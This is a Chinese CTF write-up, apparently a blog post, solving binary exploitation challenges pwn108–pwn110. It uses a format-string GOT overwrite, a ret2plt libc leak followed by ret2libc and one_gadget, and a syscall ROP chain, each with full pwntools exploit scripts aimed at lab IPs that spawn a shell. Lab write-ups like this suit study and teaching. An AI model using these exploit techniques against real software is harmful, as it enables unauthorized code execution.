在 pwndbg 找到 puts got & holiday 位置後,透過 %<holidays>c 增加 printf 的輸出字元計數,再利用 %6$lln 將累計值寫入第六個位置的值所指向的記憶體位址,也就是將第一次輸入的值所指向的位置改成 holidays 的值

from pwn import *

#io=process('./pwn108-1644300489260.pwn108')
io=remote('10.49.168.146',9008)
puts_got=0x404018
holidays=0x0040123b

io.sendlineafter(b':',p64(puts_got))
io.sendlineafter(b'No]:',b'%'+str(holidays).encode()+b'c%6$lln')
io.interactive()

script kiddie version

直接利用 fmtstr_payload 將 puts got 改成 holidays

from pwn import *
context.arch='amd64'
io=process('./pwn108-1644300489260.pwn108')
elf=ELF('./pwn108-1644300489260.pwn108')
#io=remote('10.49.168.146',9008)
puts_got=elf.got['puts']
holidays=elf.symbols['holidays']
io.sendlineafter(b':',b'a')
payload=fmtstr_payload(10,{puts_got:holidays})
io.sendlineafter(b'No]:',payload)
io.interactive()

pwn 109 – Return to PLT

Partial RELRO & No canary & No PIE 有 gets 可以 overflow

stage 1 : 將 puts_got 放入 rdi register , puts_plt call puts function print puts_got 指向的 real libc address , repeat 3 times leak puts got ,gets got , setvbuf got 有了這些後就可以利用 https://libc.rip/ 找到那隻 binary 跑的 libc 是啥

stage 2 : 有了 libc 後就能打 ret2libc 了 , libc base = puts real libc addr – puts got offset , 先 overflow 後串 ROP

pwndbg> disassemble main
Dump of assembler code for function main:
   0x00000000004011f2 <+0>:     endbr64
   0x00000000004011f6 <+4>:     push   rbp
   0x00000000004011f7 <+5>:     mov    rbp,rsp
=> 0x00000000004011fa <+8>:     sub    rsp,0x20
   0x00000000004011fe <+12>:    mov    eax,0x0
   0x0000000000401203 <+17>:    call   0x401176 <setup>
   0x0000000000401208 <+22>:    mov    eax,0x0
   0x000000000040120d <+27>:    call   0x4011db <banner>
   0x0000000000401212 <+32>:    lea    rdi,[rip+0xf07]        # 0x402120                                                  
   0x0000000000401219 <+39>:    call   0x401060 <puts@plt>
   0x000000000040121e <+44>:    lea    rax,[rbp-0x20]
   0x0000000000401222 <+48>:    mov    rdi,rax
   0x0000000000401225 <+51>:    mov    eax,0x0
   0x000000000040122a <+56>:    call   0x401070 <gets@plt>
   0x000000000040122f <+61>:    nop
   0x0000000000401230 <+62>:    leave
   0x0000000000401231 <+63>:    ret
End of assembler dump.

Payload

from pwn import *
#io=process('./pwn109-1644300507645.pwn109')
libc = ELF('./libc6_2.31-0ubuntu9.10_amd64.so')
#elf=ELF('./pwn109-1644300507645.pwn109')
#libc=elf.libc
io=remote('10.48.149.194',9009)
pop_rdi_ret=0x004012a3
offset=40
puts_plt=0x0000000000401060
puts_got=0x404018
gets_got=0x404020
setvbuf_got=0x404028
main=0x4011f2
ret=0x0040101a

io.recvlines(6)

io.sendline(b'a'*offset+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(pop_rdi_ret)+p64(gets_got)+p64(puts_plt)+p64(pop_rdi_ret)+p64(setvbuf_got)+p64(puts_plt)+p64(main))

puts_libc = u64(io.recv(6) + b'\x00\x00')
log.info(f'puts_libc: {hex(puts_libc)}')

gets_libc=u64(io.recv(6) + b'\x00\x00')
log.info(f'gets_libc: {hex(gets_libc)}')

setvbuf_libc=u64(io.recv(6) + b'\x00\x00')
log.info(f'setvbuf_libc: {hex(setvbuf_libc)}')

libc_base=puts_libc - libc.symbols['puts']
log.info(f'libc_base: {hex(libc_base)}')

system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

io.sendline(b'a'*offset+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr))
io.interactive()

with one_gadget

懶得串 ROP ,直接用 one_gadget 找位置 + 錯誤嘗試法看哪個位置可以 RCE

from pwn import *
#io=process('./pwn109-1644300507645.pwn109')
libc = ELF('./libc6_2.31-0ubuntu9.10_amd64.so')
elf=ELF('./pwn109-1644300507645.pwn109')
rop=ROP(elf)
io=remote('10.49.179.119',9009)

offset=40

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
gets_got=elf.got['gets']
setvbuf_got=elf.got['setvbuf']
main=elf.symbols['main']
pop_rdi_ret = rop.find_gadget(['pop rdi','ret'])[0]
ret = rop.find_gadget(['ret'])[0]

io.recvlines(6)

io.sendline(b'a'*offset+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(pop_rdi_ret)+p64(gets_got)+p64(puts_plt)+p64(pop_rdi_ret)+p64(setvbuf_got)+p64(puts_plt)+p64(main))

puts_leak=u64(io.recv(6).ljust(8,b'\x00'))
log.info(f'puts_leak : {hex(puts_leak)}')

gets_leak=u64(io.recv(6).ljust(8,b'\x00'))
log.info(f'gets_leak : {hex(gets_leak)}')

setvbuf_leak=u64(io.recv(6).ljust(8,b'\x00'))
log.info(f'setvbuf_leak : {hex(setvbuf_leak)}')

libc_base=puts_leak - libc.symbols['puts']
log.info(f'libc_base : {hex(libc_base)}')

shell=libc_base+0xe3b01
io.sendline(b'a'*offset+p64(shell))
io.interactive()

pwn 110 – Playing with ROP

用 cyclic 搭配 pwndbg 算出 offset 是 0x28 , 搭配以下圖片串 ROP chain

Payload

from pwn import *
r=remote('10.10.162.17',9010)

pop_rdi=0x40191a
pop_rax=0x4497d7
pop_rsi=0x40f4de
pop_rdx=0x40181f
data_addr=0x4c00e0
mov_rdx_to_rdi=0x4340a3
syscall_addr=0x4012d3

r.sendline(b'a'*0x28+p64(pop_rdx)+b'/bin/sh\x00'+p64(pop_rdi)+p64(data_addr)+p64(mov_rdx_to_rdi)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(59)+p64(syscall_addr))

r.interactive()

script kiddie version

from pwn import *
from struct import pack

io=process('./pwn110-1644300525386.pwn110')

p = b''

p += pack('<Q', 0x000000000040f4de) # pop rsi ; ret
p += pack('<Q', 0x00000000004c00e0) # @ .data
p += pack('<Q', 0x00000000004497d7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000047bcf5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040f4de) # pop rsi ; ret
p += pack('<Q', 0x00000000004c00e8) # @ .data + 8
p += pack('<Q', 0x0000000000443e30) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047bcf5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040191a) # pop rdi ; ret
p += pack('<Q', 0x00000000004c00e0) # @ .data
p += pack('<Q', 0x000000000040f4de) # pop rsi ; ret
p += pack('<Q', 0x00000000004c00e8) # @ .data + 8
p += pack('<Q', 0x000000000040181f) # pop rdx ; ret
p += pack('<Q', 0x00000000004c00e8) # @ .data + 8
p += pack('<Q', 0x0000000000443e30) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004012d3) # syscall

io.sendline(b'a'*0x28+p)
io.interactive()

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

返回頂端